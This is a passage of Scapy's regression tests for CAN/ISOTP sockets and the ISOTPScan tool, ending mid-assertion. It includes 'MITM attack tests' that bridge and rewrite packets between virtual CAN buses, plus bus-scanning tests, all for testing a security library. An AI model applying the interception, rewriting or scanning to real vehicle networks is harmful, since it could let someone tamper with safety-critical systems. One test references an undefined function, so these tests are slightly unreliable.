new_can_socket(iface0) as cans: cans.send(CAN(identifier=0x241, data=dhex("02 05 06 00 00 00 00 00"))) res = s.recv() assert(res.data == dhex("05 06")) = Receive a non-padded single frame ISOTP message with padding enabled exit_if_no_isotp_module() s = ISOTPNativeSocket(iface0, sid=0x641, did=0x241, padding=True) with new_can_socket(iface0) as cans: cans.send(CAN(identifier=0x241, data=dhex("02 05 06"))) res = s.recv() assert(res.data == dhex("05 06")) = Receive a padded two-frame ISOTP message with padding enabled exit_if_no_isotp_module() s = ISOTPNativeSocket(iface0, sid=0x641, did=0x241, padding=True) with new_can_socket(iface0) as cans: cans.send(CAN(identifier=0x241, data=dhex("10 09 01 02 03 04 05 06"))) cans.send(CAN(identifier=0x241, data=dhex("21 07 08 09 00 00 00 00"))) res = s.recv() assert(res.data == dhex("01 02 03 04 05 06 07 08 09")) = Receive a padded two-frame ISOTP message with padding disabled exit_if_no_isotp_module() s = ISOTPNativeSocket(iface0, sid=0x641, did=0x241, padding=False) with new_can_socket(iface0) as cans: cans.send(CAN(identifier=0x241, data=dhex("10 09 01 02 03 04 05 06"))) cans.send(CAN(identifier=0x241, data=dhex("21 07 08 09 00 00 00 00"))) res = s.recv() assert(res.data == dhex("01 02 03 04 05 06 07 08 09")) = Receive a single frame ISOTP message exit_if_no_isotp_module() s = ISOTPNativeSocket(iface0, sid=0x641, did=0x241) with new_can_socket(iface0) as cans: cans.send(CAN(identifier = 0x241, data = dhex("05 01 02 03 04 05"))) isotp = s.recv() assert(isotp.data == dhex("01 02 03 04 05")) assert(isotp.src == 0x641) assert(isotp.dst == 0x241) assert(isotp.exsrc == None) assert(isotp.exdst == None) = Receive a single frame ISOTP message, with extended addressing exit_if_no_isotp_module() s = ISOTPNativeSocket(iface0, sid=0x641, did=0x241, extended_addr=0xc0, extended_rx_addr=0xea) with new_can_socket(iface0) as cans: cans.send(CAN(identifier = 0x241, data = dhex("EA 05 01 02 03 04 05"))) isotp = s.recv() assert(isotp.data == dhex("01 02 03 04 05")) assert(isotp.src == 0x641) assert(isotp.dst == 0x241) assert(isotp.exsrc == 0xc0) assert(isotp.exdst == 0xea) = Receive a two-frame ISOTP message exit_if_no_isotp_module() s = ISOTPNativeSocket(iface0, sid=0x641, did=0x241) with new_can_socket(iface0) as cans: cans.send(CAN(identifier = 0x241, data = dhex("10 0B 01 02 03 04 05 06"))) cans.send(CAN(identifier = 0x241, data = dhex("21 07 08 09 10 11"))) isotp = s.recv() assert(isotp.data == dhex("01 02 03 04 05 06 07 08 09 10 11")) = Receive a two-frame ISOTP message and test python with statement exit_if_no_isotp_module() with ISOTPNativeSocket(iface0, sid=0x641, did=0x241) as s: with new_can_socket(iface0) as cans: cans.send(CAN(identifier = 0x241, data = dhex("10 0B 01 02 03 04 05 06"))) cans.send(CAN(identifier = 0x241, data = dhex("21 07 08 09 10 11"))) isotp = s.recv() assert(isotp.data == dhex("01 02 03 04 05 06 07 08 09 10 11")) = ISOTP Socket sr1 test exit_if_no_isotp_module() txSock = ISOTPNativeSocket(iface0, sid=0x123, did=0x321) txmsg = ISOTP(b'\x11\x22\x33') rx2 = None receiver_up = Event() def sender(): global receiver_up receiver_up.wait(timeout=5) global txmsg global rx2 rx2 = txSock.sr1(txmsg, timeout=1, verbose=True) def receiver(): global receiver_up with new_can_socket(iface0) as cans: rx = cans.sniff(timeout=1, count=1, started_callback=receiver_up.set)[0] cans.send(CAN(identifier=0x321, length=4, data=b'\x03\x7f\x22\x33')) expectedrx = CAN(identifier=0x123, length=4, data=b'\x03\x11\x22\x33') assert(rx.length == expectedrx.length) assert(rx.data == expectedrx.data) assert(rx.identifier == expectedrx.identifier) txThread = threading.Thread(target=sender) txThread.start() receiver() txThread.join(timeout=5) assert(rx2 is not None) assert(rx2 == ISOTP(b'\x7f\x22\x33')) assert(rx2.answers(txmsg)) = ISOTP Socket sr1 and ISOTP test exit_if_no_isotp_module() txSock = ISOTPNativeSocket(iface0, 0x123, 0x321) rxSock = ISOTPNativeSocket(iface0, 0x321, 0x123) msg = ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') rx2 = None receiver_up = Event() def sender(): receiver_up.wait(timeout=5) global rx2 rx2 = txSock.sr1(msg, timeout=1, verbose=True) def receiver(): global rx receiver_up.set() rx = rxSock.recv() rxSock.send(msg) txThread = threading.Thread(target=sender) txThread.start() receiver() txThread.join(timeout=5) assert(rx == msg) assert(rxSock.send(msg)) assert(rx2 is not None) assert(rx2 == msg) = ISOTP Socket sr1 and ISOTP test vice versa exit_if_no_isotp_module() rxSock = ISOTPNativeSocket(iface0, 0x321, 0x123) txSock = ISOTPNativeSocket(iface0, 0x123, 0x321) msg = ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') receiver_up = Event() def receiver(): global rx2, sent rx2 = rxSock.sniff(count=1, timeout=1, started_callback=receiver_up.set) sent = rxSock.send(msg) def sender(): global rx receiver_up.wait(timeout=5) rx = txSock.sr1(msg, timeout=1,verbose=True) rx2 = None sent = False rxThread = threading.Thread(target=receiver) rxThread.start() sender() rxThread.join(timeout=5) assert(rx == msg) assert(rx2[0] == msg) assert(sent) = ISOTP Socket sniff exit_if_no_isotp_module() rxSock = ISOTPNativeSocket(iface0, 0x321, 0x123) txSock = ISOTPNativeSocket(iface0, 0x123, 0x321) succ = False receiver_up = Event() def receiver(): rx = rxSock.sniff(count=5, timeout=1, started_callback=receiver_up.set) msg = ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') msg.data += b'0' assert(rx[0] == msg) msg.data += b'1' assert(rx[1] == msg) msg.data += b'2' assert(rx[2] == msg) msg.data += b'3' assert(rx[3] == msg) msg.data += b'4' assert(rx[4] == msg) global succ succ = True def sender(): receiver_up.wait(timeout=5) msg = ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') msg.data += b'0' assert(txSock.send(msg)) msg.data += b'1' assert(txSock.send(msg)) msg.data += b'2' assert(txSock.send(msg)) msg.data += b'3' assert(txSock.send(msg)) msg.data += b'4' assert(txSock.send(msg)) rxThread = threading.Thread(target=receiver) rxThread.start() sender() rxThread.join(timeout=5) assert(succ) + ISOTPNativeSocket MITM attack tests ~ python3_only vcan_socket needs_root linux = bridge and sniff with isotp native sockets set up vcan0 and vcan1 for package forwarding vcan1 exit_if_no_isotp_module() isoTpSocket0 = ISOTPNativeSocket(iface0, sid=0x241, did=0x641) isoTpSocket1 = ISOTPNativeSocket(iface1, sid=0x641, did=0x241) bSocket0 = ISOTPNativeSocket(iface0, sid=0x641, did=0x241) bSocket1 = ISOTPNativeSocket(iface1, sid=0x241, did=0x641) bridgeStarted = threading.Event() def bridge(): global bridgeStarted def forwarding(pkt): return pkt bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=2, count=1, started_callback=bridgeStarted.set) bSocket0.close() bSocket1.close() global bSucc bSucc = True def RequestOnBus0(): global rSucc isoTpSocket0.send(ISOTP(b'Request')) rSucc = True bSucc = False rSucc = False threadBridge = threading.Thread(target=bridge) threadBridge.start() threadSender = threading.Thread(target=RequestOnBus0) bridgeStarted.wait(timeout=5) packetsVCan1 = isoTpSocket1.sniff(timeout=0.5, started_callback=threadSender.start) len(packetsVCan1) == 1 isoTpSocket0.close() isoTpSocket1.close() threadSender.join(timeout=5) threadBridge.join(timeout=5) assert(bSucc) assert(rSucc) = bridge and sniff with isotp native sockets set up vcan0 and vcan1 for package change to vcan1 exit_if_no_isotp_module() isoTpSocket0 = ISOTPNativeSocket(iface0, sid=0x241, did=0x641) isoTpSocket1 = ISOTPNativeSocket(iface1, sid=0x641, did=0x241) bSocket0 = ISOTPNativeSocket(iface0, sid=0x641, did=0x241) bSocket1 = ISOTPNativeSocket(iface1, sid=0x241, did=0x641) bSucc = False rSucc = False bridgeStarted = threading.Event() def bridge(): global bridgeStarted global bSucc def forwarding(pkt): pkt.data = 'changed' return pkt bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=0.5, started_callback=bridgeStarted.set) bSocket0.close() bSocket1.close() bSucc = True def RequestOnBus0(): global rSucc isoTpSocket0.send(ISOTP(b'Request')) rSucc = True threadBridge = threading.Thread(target=bridge) threadBridge.start() threadSender = threading.Thread(target=RequestOnBus0) bridgeStarted.wait(timeout=5) packetsVCan1 = isoTpSocket1.sniff(timeout=0.5, started_callback=threadSender.start) packetsVCan1[0].data = b'changed' len(packetsVCan1) == 1 isoTpSocket0.close() isoTpSocket1.close() threadSender.join(timeout=5) threadBridge.join(timeout=5) assert(bSucc) assert(rSucc) = bridge and sniff with isotp native sockets set up vcan0 and vcan1 for package forwarding in both directions exit_if_no_isotp_module() bSucc = False rSucc = False isoTpSocket0 = ISOTPNativeSocket(iface0, sid=0x241, did=0x641) isoTpSocket1 = ISOTPNativeSocket(iface1, sid=0x641, did=0x241) bSocket0 = ISOTPNativeSocket(iface0, sid=0x641, did=0x241) bSocket1 = ISOTPNativeSocket(iface1, sid=0x241, did=0x641) bridgeStarted = threading.Event() def bridge(): global bridgeStarted global bSucc def forwarding(pkt): return pkt bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=0.5, started_callback=bridgeStarted.set) bSocket0.close() bSocket1.close() bSucc = True def RequestBothVCans(): global rSucc packetVcan0 = ISOTP(b'RequestVcan0') packetVcan1 = ISOTP(b'RequestVcan1') isoTpSocket0.send(packetVcan0) isoTpSocket1.send(packetVcan1) rSucc = True threadBridge = threading.Thread(target=bridge) threadBridge.start() threadSender = threading.Thread(target=RequestOnBus0) bridgeStarted.wait(timeout=5) packetsVCan0 = isoTpSocket0.sniff(timeout=0.5, started_callback=threadSender.start) packetsVCan1 = isoTpSocket1.sniff(timeout=0.5) len(packetsVCan0) == 1 len(packetsVCan1) == 1 isoTpSocket0.close() isoTpSocket1.close() threadSender.join(timeout=5) threadBridge.join(timeout=5) assert(bSucc) assert(rSucc) = bridge and sniff with isotp native sockets set up vcan0 and vcan1 for package change in both directions exit_if_no_isotp_module() bSucc = False rSucc = False isoTpSocket0 = ISOTPNativeSocket(iface0, sid=0x241, did=0x641) isoTpSocket1 = ISOTPNativeSocket(iface1, sid=0x641, did=0x241) bSocket0 = ISOTPNativeSocket(iface0, sid=0x641, did=0x241) bSocket1 = ISOTPNativeSocket(iface1, sid=0x241, did=0x641) bridgeStarted = threading.Event() def bridge(): global bridgeStarted global bSucc def forwarding(pkt): pkt.data = 'changed' return pkt bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=0.5, started_callback=bridgeStarted.set) bSocket0.close() bSocket1.close() bSucc = True def RequestBothVCans(): global rSucc packetVcan0 = ISOTP(b'RequestVcan0') packetVcan1 = ISOTP(b'RequestVcan1') isoTpSocket0.send(packetVcan0) isoTpSocket1.send(packetVcan1) rSucc = True threadBridge = threading.Thread(target=bridge) threadBridge.start() threadSender = threading.Thread(target=RequestBothVCans) bridgeStarted.wait(timeout=5) packetsVCan0 = isoTpSocket0.sniff(timeout=0.5, started_callback=threadSender.start) packetsVCan1 = isoTpSocket1.sniff(timeout=0.5) packetsVCan0[0].data = b'changed' assert len(packetsVCan0) == 1 packetsVCan1[0].data = b'changed' assert len(packetsVCan1) == 1 isoTpSocket0.close() isoTpSocket1.close() threadSender.join(timeout=5) threadBridge.join(timeout=5) assert(bSucc) assert(rSucc) + Cleanup = Cleanup reference to ISOTPSoftSocket to let the thread end s = None = Delete vcan interfaces ~ vcan_socket needs_root linux if 0 != call(["sudo", "ip", "link", "delete", iface0]): raise Exception("%s could not be deleted" % iface0) if 0 != call(["sudo", "ip", "link", "delete", iface1]): raise Exception("%s could not be deleted" % iface1) scapy-2.4.4/test/contrib/isotpscan.uts000066400000000000000000000772221372370053500200360ustar00rootroot00000000000000% Regression tests for ISOTPScan + Configuration ~ conf = Imports load_layer("can", globals_dict=globals()) conf.contribs['CAN']['swap-bytes'] = False import os, subprocess, sys from subprocess import call import scapy.modules.six as six from scapy.contrib.isotp import send_multiple_ext, filter_periodic_packets, scan, scan_extended from scapy.consts import LINUX = Definition of constants, utility functions iface0 = "vcan0" iface1 = "vcan1" # function to exit when the can-isotp kernel module is not available ISOTP_KERNEL_MODULE_AVAILABLE = False def exit_if_no_isotp_module(): if not ISOTP_KERNEL_MODULE_AVAILABLE: err = "TEST SKIPPED: can-isotp not available\n" sys.__stderr__.write(err) warning("Can't test ISOTP native socket because kernel module is not loaded") exit(0) = Initialize a virtual CAN interface ~ vcan_socket needs_root linux if 0 != call(["cansend", iface0, "000#"]): # vcan0 is not enabled if 0 != call(["sudo", "modprobe", "vcan"]): raise Exception("modprobe vcan failed") if 0 != call(["sudo", "ip", "link", "add", "name", iface0, "type", "vcan"]): print("add %s failed: Maybe it was already up?" % iface0) if 0 != call(["sudo", "ip", "link", "set", "dev", iface0, "up"]): raise Exception("could not bring up %s" % iface0) if 0 != call(["cansend", iface0, "000#"]): raise Exception("cansend doesn't work") if 0 != call(["cansend", iface1, "000#"]): # vcan1 is not enabled if 0 != call(["sudo", "modprobe", "vcan"]): raise Exception("modprobe vcan failed") if 0 != call(["sudo", "ip", "link", "add", "name", iface1, "type", "vcan"]): print("add %s failed: Maybe it was already up?" % iface1) if 0 != call(["sudo", "ip", "link", "set", "dev", iface1, "up"]): raise Exception("could not bring up %s" % iface1) if 0 != call(["cansend", iface1, "000#"]): raise Exception("cansend doesn't work") print("CAN should work now") = Import CANSocket from scapy.contrib.cansocket_python_can import * new_can_socket = lambda iface: CANSocket(bustype='virtual', channel=iface) new_can_socket0 = lambda: CANSocket(bustype='virtual', channel=iface0, timeout=0.01) new_can_socket1 = lambda: CANSocket(bustype='virtual', channel=iface1, timeout=0.01) # utility function for draining a can interface, asserting that no packets are there def drain_bus(iface=iface0, assert_empty=True): with new_can_socket0() as s: pkts = s.sniff(timeout=0.1) if assert_empty: assert len(pkts) == 0 print("CAN sockets should work now") = Overwrite definition for vcan_socket systems native sockets ~ vcan_socket not_pypy needs_root linux if six.PY3 and LINUX: from scapy.contrib.cansocket_native import * new_can_socket = lambda iface: CANSocket(iface) new_can_socket0 = lambda: CANSocket(iface0) new_can_socket1 = lambda: CANSocket(iface1) = Overwrite definition for vcan_socket systems python-can sockets ~ vcan_socket needs_root linux if "python_can" in CANSocket.__module__: new_can_socket = lambda iface: CANSocket(bustype='socketcan', channel=iface, timeout=0.01) new_can_socket0 = lambda: CANSocket(bustype='socketcan', channel=iface0, timeout=0.01) new_can_socket1 = lambda: CANSocket(bustype='socketcan', channel=iface1, timeout=0.01) = Verify that a CAN socket can be created and closed s = new_can_socket(iface0) s.close() = Check if can-isotp and can-utils are installed on this system ~ linux p1 = subprocess.Popen(['lsmod'], stdout = subprocess.PIPE) p2 = subprocess.Popen(['grep', '^can_isotp'], stdout = subprocess.PIPE, stdin=p1.stdout) p1.stdout.close() if p1.wait() == 0 and p2.wait() == 0 and b"can_isotp" in p2.stdout.read(): p = subprocess.Popen(["isotpsend", "-s1", "-d0", iface0], stdin = subprocess.PIPE) p.communicate(b"01") if p.returncode == 0: ISOTP_KERNEL_MODULE_AVAILABLE = True + Syntax check = Import isotp conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': ISOTP_KERNEL_MODULE_AVAILABLE} if six.PY3: import importlib if "scapy.contrib.isotp" in sys.modules: importlib.reload(scapy.contrib.isotp) load_contrib("isotp", globals_dict=globals()) if six.PY3 and ISOTP_KERNEL_MODULE_AVAILABLE: assert ISOTPSocket == ISOTPNativeSocket else: assert ISOTPSocket == ISOTPSoftSocket = Test send_multiple_ext() pkt = ISOTPHeaderEA(identifier=0x100, extended_address=1)/ISOTP_FF(message_size=100, data=b'\x00\x00\x00\x00\x00') number_of_packets = 100 def sender(): with new_can_socket0() as sock1: send_multiple_ext(sock1, 0, pkt, number_of_packets) thread = threading.Thread(target=sender) with new_can_socket0() as sock: pkts = sock.sniff(timeout=4, count=number_of_packets, started_callback=thread.start) thread.join(timeout=10) assert len(pkts) == number_of_packets = Test filter_periodic_packets() with periodic packets pkt = CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') received_packets = dict() for i in range(40): temp_pkt = pkt.copy() temp_pkt.time = i / 1000 received_packets[i] = (temp_pkt, temp_pkt.identifier) filter_periodic_packets(received_packets) assert len(received_packets) == 0 = Test filter_periodic_packets() with periodic packets and one outlier outlier = CAN(identifier=300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') outlier.time = 50 / 1000 pkt = CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') received_packets = dict() for i in range(40): temp_pkt = pkt.copy() temp_pkt.time = i / 1000 received_packets[i] = (temp_pkt, temp_pkt.identifier) received_packets[40] = (outlier, outlier.identifier) filter_periodic_packets(received_packets) assert len(received_packets) == 1 = Test filter_periodic_packets() with nonperiodic packets pkt = CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') received_packets = dict() for i in range(40): temp_pkt = pkt.copy() temp_pkt.time = (i * i) / 1000 received_packets[i] = (temp_pkt, temp_pkt.identifier) filter_periodic_packets(received_packets) assert len(received_packets) == 40 = Define helper function for dynamic sniff time tests def test_dynamic(f): for t in [1, 2, 4, 10]: try: drain_bus(iface0) f(0.02 * t) return True except AssertionError as e: if t < 10: sys.stderr.write("Test failed. Automatically increase sniff time and retry." + os.linesep) else: raise e return False = Define test functions def make_noise(p, t): with new_can_socket0() as s: for _ in range(40): s.send(p) time.sleep(t) def test_scan(sniff_time=0.02): semaphore = threading.Semaphore(0) def isotpserver(idx): with new_can_socket0() as isocan, \ ISOTPSocket(isocan, sid=0x700 + idx, did=0x600 + idx) as sock: sock.sniff(timeout=sniff_time * 1500, count=1, started_callback=semaphore.release) listen_sockets = list() for i in range(1, 4): listen_sockets.append( threading.Thread(target=isotpserver, args=(int(i),))) listen_sockets[-1].start() for _ in range(len(listen_sockets)): semaphore.acquire() with new_can_socket0() as scansock: found_packets = scan(scansock, range(0x5ff, 0x604), noise_ids=[0x701], sniff_time=sniff_time, verbose=True) with new_can_socket0() as cans: for _ in range(5): cans.send(CAN(identifier=0x601, data=b'\x01\xaa')) cans.send(CAN(identifier=0x602, data=b'\x01\xaa')) cans.send(CAN(identifier=0x603, data=b'\x01\xaa')) time.sleep(0) print(len(listen_sockets)) for thread in listen_sockets: thread.join(timeout=1) print(len(found_packets)) assert len(found_packets) == 2 def test_scan_extended(sniff_time=0.02): recvpacket = CAN(flags=0, identifier=0x700, length=4, data=b'\xaa0\x00\x00') semaphore = threading.Semaphore(0) def isotpserver(): with new_can_socket0() as isocan, \ ISOTPSocket(isocan, sid=0x700, did=0x601, extended_addr=0xaa, extended_rx_addr=0xbb) as s: s.sniff(timeout=1500 * sniff_time, count=1, started_callback=semaphore.release) thread = threading.Thread(target=isotpserver) thread.start() semaphore.acquire() with new_can_socket0() as scansock: found_packets = scan_extended(scansock, [0x600, 0x601], extended_scan_range=range(0xb0, 0xc0), sniff_time=sniff_time) with new_can_socket0() as cans: cans.send(CAN(identifier=0x601, data=b'\xbb\x01\xaa')) thread.join(timeout=10) fpkt = found_packets[list(found_packets.keys())[0]][0] rpkt = recvpacket assert fpkt.length == rpkt.length assert fpkt.data == rpkt.data assert fpkt.identifier == rpkt.identifier def test_isotpscan_text(sniff_time=0.02): semaphore = threading.Semaphore(0) def isotpserver(i): with new_can_socket0() as isocan, \ ISOTPSocket(isocan, sid=0x700 + i, did=0x600 + i) as isotpsock: isotpsock.sniff(timeout=1500 * sniff_time, count=1, started_callback=semaphore.release) pkt = CAN(identifier=0x701, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') thread_noise = threading.Thread(target=make_noise, args=(pkt, sniff_time,)) thread_noise.start() thread1 = threading.Thread(target=isotpserver, args=(2,)) thread2 = threading.Thread(target=isotpserver, args=(3,)) thread1.start() thread2.start() semaphore.acquire() semaphore.acquire() with new_can_socket0() as scansock: result = ISOTPScan(scansock, range(0x5ff, 0x604 + 1), output_format="text", noise_listen_time=sniff_time * 6, sniff_time=sniff_time, verbose=True) with new_can_socket0() as cans: cans.send(CAN(identifier=0x601, data=b'\x01\xaa')) cans.send(CAN(identifier=0x602, data=b'\x01\xaa')) cans.send(CAN(identifier=0x603, data=b'\x01\xaa')) thread1.join(timeout=10) thread2.join(timeout=10) thread_noise.join(timeout=10) text = "\nFound 2 ISOTP-FlowControl Packet(s):" assert text in result assert "0x602" in result assert "0x603" in result assert "0x702" in result assert "0x703" in result assert "No Padding" in result def test_isotpscan_text_extended_can_id(sniff_time=0.02): semaphore = threading.Semaphore(0) def isotpserver(i): with new_can_socket0() as isocan, \ ISOTPSocket(isocan, sid=0x1ffff700 + i, did=0x1ffff600 + i) as isotpsock1: isotpsock1.sniff(timeout=1500 * sniff_time, count=1, started_callback=semaphore.release) pkt = CAN(identifier=0x1ffff701, flags="extended", length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') thread_noise = threading.Thread(target=make_noise, args=(pkt, sniff_time,)) thread_noise.start() thread1 = threading.Thread(target=isotpserver, args=(2,)) thread2 = threading.Thread(target=isotpserver, args=(3,)) thread1.start() thread2.start() semaphore.acquire() semaphore.acquire() with new_can_socket0() as scansock: result = ISOTPScan(scansock, range(0x1ffff5ff, 0x1ffff604 + 1), output_format="text", noise_listen_time=sniff_time * 6, sniff_time=sniff_time, extended_can_id=True, verbose=True) with new_can_socket0() as cans: cans.send(CAN(identifier=0x1ffff601, flags="extended", data=b'\x01\xaa')) cans.send(CAN(identifier=0x1ffff602, flags="extended", data=b'\x01\xaa')) cans.send(CAN(identifier=0x1ffff603, flags="extended", data=b'\x01\xaa')) thread1.join(timeout=10) thread2.join(timeout=10) thread_noise.join(timeout=10) print(result) text = "\nFound 2 ISOTP-FlowControl Packet(s):" assert text in result assert "0x1ffff602" in result assert "0x1ffff603" in result assert "0x1ffff702" in result assert "0x1ffff703" in result assert "No Padding" in result def test_isotpscan_code(sniff_time=0.02): semaphore = threading.Semaphore(0) def isotpserver(i): with new_can_socket0() as isocan, \ ISOTPSocket(isocan, sid=0x700 + i, did=0x600 + i) as isotpsock: isotpsock.sniff(timeout=1500 * sniff_time, count=1, started_callback=semaphore.release) pkt = CAN(identifier=0x701, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') thread_noise = threading.Thread(target=make_noise, args=(pkt, sniff_time,)) thread_noise.start() thread1 = threading.Thread(target=isotpserver, args=(2,)) thread2 = threading.Thread(target=isotpserver, args=(3,)) thread1.start() thread2.start() semaphore.acquire() semaphore.acquire() with new_can_socket0() as scansock: result = ISOTPScan(scansock, range(0x5ff, 0x603 + 1), output_format="code", noise_listen_time=sniff_time * 6, sniff_time=sniff_time, can_interface="can0", verbose=True) with new_can_socket0() as cans: cans.send(CAN(identifier=0x601, data=b'\x01\xaa')) cans.send(CAN(identifier=0x602, data=b'\x01\xaa')) cans.send(CAN(identifier=0x603, data=b'\x01\xaa')) thread1.join(timeout=10) thread2.join(timeout=10) thread_noise.join(timeout=10) s1 = "ISOTPSocket(can0, sid=0x602, did=0x702, " \ "padding=False, basecls=ISOTP)\n" s2 = "ISOTPSocket(can0, sid=0x603, did=0x703, " \ "padding=False, basecls=ISOTP)\n" print(result) assert s1 in result assert s2 in result def test_extended_isotpscan_code(sniff_time=0.02): semaphore = threading.Semaphore(0) def isotpserver(i): with new_can_socket0() as isocan, \ ISOTPSocket(isocan, sid=0x700 + i, did=0x600 + i, extended_addr=0x11, extended_rx_addr=0x22) as s: s.sniff(timeout=1500 * sniff_time, count=1, started_callback=semaphore.release) pkt = CAN(identifier=0x701, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') thread_noise = threading.Thread(target=make_noise, args=(pkt, sniff_time,)) thread1 = threading.Thread(target=isotpserver, args=(2,)) thread2 = threading.Thread(target=isotpserver, args=(3,)) thread1.start() thread2.start() semaphore.acquire() semaphore.acquire() thread_noise.start() with new_can_socket0() as scansock: result = ISOTPScan(scansock, range(0x5ff, 0x603 + 1), extended_scan_range=range(0x20, 0x30), extended_addressing=True, sniff_time=sniff_time, noise_listen_time=sniff_time * 6, output_format="code", can_interface="can0", verbose=True) with new_can_socket0() as cans: cans.send(CAN(identifier=0x602, data=b'\x22\x01\xaa')) cans.send(CAN(identifier=0x603, data=b'\x22\x01\xaa')) time.sleep(0) cans.send(CAN(identifier=0x602, data=b'\x22\x01\xaa')) cans.send(CAN(identifier=0x603, data=b'\x22\x01\xaa')) thread1.join(timeout=10) thread2.join(timeout=10) thread_noise.join(timeout=10) s1 = "ISOTPSocket(can0, sid=0x602, did=0x702, padding=False, " \ "extended_addr=0x22, extended_rx_addr=0x11, basecls=ISOTP)" s2 = "ISOTPSocket(can0, sid=0x603, did=0x703, padding=False, " \ "extended_addr=0x22, extended_rx_addr=0x11, basecls=ISOTP)" print(result) assert s1 in result assert s2 in result def test_extended_isotpscan_code_extended_can_id(sniff_time=0.02): semaphore = threading.Semaphore(0) def isotpserver(i): with new_can_socket0() as isocan, \ ISOTPSocket(isocan, sid=0x1ffff700 + i, did=0x1ffff600 + i, extended_addr=0x11, extended_rx_addr=0x22) as s: s.sniff(timeout=1500 * sniff_time, count=1, started_callback=semaphore.release) pkt = CAN(identifier=0x1ffff701, flags="extended", length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') thread_noise = threading.Thread(target=make_noise, args=(pkt, sniff_time,)) thread1 = threading.Thread(target=isotpserver, args=(2,)) thread2 = threading.Thread(target=isotpserver, args=(3,)) thread1.start() thread2.start() semaphore.acquire() semaphore.acquire() thread_noise.start() with new_can_socket0() as scansock: result = ISOTPScan(scansock, range(0x1ffff5ff, 0x1ffff604 + 1), extended_can_id=True, extended_scan_range=range(0x20, 0x30), extended_addressing=True, sniff_time=sniff_time, noise_listen_time=sniff_time * 6, output_format="code", can_interface="can0", verbose=True) with new_can_socket0() as cans: cans.send(CAN(identifier=0x1ffff602, flags="extended", data=b'\x22\x01\xaa')) cans.send(CAN(identifier=0x1ffff603, flags="extended", data=b'\x22\x01\xaa')) thread1.join(timeout=10) thread2.join(timeout=10) thread_noise.join(timeout=10) s1 = "ISOTPSocket(can0, sid=0x1ffff602, did=0x1ffff702, padding=False, " \ "extended_addr=0x22, extended_rx_addr=0x11, basecls=ISOTP)" s2 = "ISOTPSocket(can0, sid=0x1ffff603, did=0x1ffff703, padding=False, " \ "extended_addr=0x22, extended_rx_addr=0x11, basecls=ISOTP)" print(result) assert s1 in result assert s2 in result def test_isotpscan_none(sniff_time=0.02): semaphore = threading.Semaphore(0) def isotpserver(i): with new_can_socket0() as isocan, \ ISOTPSocket(isocan, sid=0x700 + i, did=0x600 + i) as s: s.sniff(timeout=1500 * sniff_time, count=1, started_callback=semaphore.release) pkt = CAN(identifier=0x701, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') thread_noise = threading.Thread(target=make_noise, args=(pkt, sniff_time,)) thread1 = threading.Thread(target=isotpserver, args=(2,)) thread2 = threading.Thread(target=isotpserver, args=(3,)) thread1.start() thread2.start() semaphore.acquire() semaphore.acquire() with new_can_socket0() as socks_interface: thread_noise.start() with new_can_socket0() as scansock: result = ISOTPScan(scansock, range(0x5ff, 0x603 + 1), can_interface=socks_interface, sniff_time=sniff_time, noise_listen_time=sniff_time * 6, verbose=True) result = sorted(result, key=lambda x: x.src) with new_can_socket0() as cans: cans.send(CAN(identifier=0x601, data=b'\x01\xaa')) cans.send(CAN(identifier=0x602, data=b'\x01\xaa')) cans.send(CAN(identifier=0x603, data=b'\x01\xaa')) for s in result: # This helps to close ISOTPSoftSockets cans.send(CAN(identifier=0x702, data=b'\x01\xaa')) cans.send(CAN(identifier=0x703, data=b'\x01\xaa')) s.close() cans.send(CAN(identifier=0x702, data=b'\x01\xaa')) cans.send(CAN(identifier=0x703, data=b'\x01\xaa')) time.sleep(0) thread1.join(timeout=10) thread2.join(timeout=10) thread_noise.join(timeout=10) assert len(result) == 2 assert 0x602 == result[0].src assert 0x702 == result[0].dst assert 0x603 == result[1].src assert 0x703 == result[1].dst for s in result: del s def test_isotpscan_none_2(sniff_time=0.02): semaphore = threading.Semaphore(0) def isotpserver(i): with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x700 + i, did=0x600 + i) as s: s.sniff(timeout=1000 * sniff_time, count=1, started_callback=semaphore.release) pkt = CAN(identifier=0x701, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08') thread_noise = threading.Thread(target=make_noise, args=(pkt, sniff_time,)) thread1 = threading.Thread(target=isotpserver, args=(9,)) thread2 = threading.Thread(target=isotpserver, args=(8,)) thread1.start() thread2.start() semaphore.acquire() semaphore.acquire() thread_noise.start() with new_can_socket0() as socks_interface: with new_can_socket0() as scansock: result = ISOTPScan(scansock, range(0x607, 0x60A), can_interface=socks_interface, sniff_time=sniff_time, noise_listen_time=sniff_time * 6, verbose=True) result = sorted(result, key=lambda x: x.src) with new_can_socket0() as cans: cans.send(CAN(identifier=0x609, data=b'\x01\xaa')) cans.send(CAN(identifier=0x608, data=b'\x01\xaa')) for s in result: # This helps to close ISOTPSoftSockets cans.send(CAN(identifier=0x709, data=b'\x01\xaa')) cans.send(CAN(identifier=0x708, data=b'\x01\xaa')) s.close() time.sleep(0) cans.send(CAN(identifier=0x709, data=b'\x01\xaa')) cans.send(CAN(identifier=0x708, data=b'\x01\xaa')) thread1.join(timeout=10) thread2.join(timeout=10) thread_noise.join(timeout=10) assert len(result) == 2 assert 0x608 == result[0].src assert 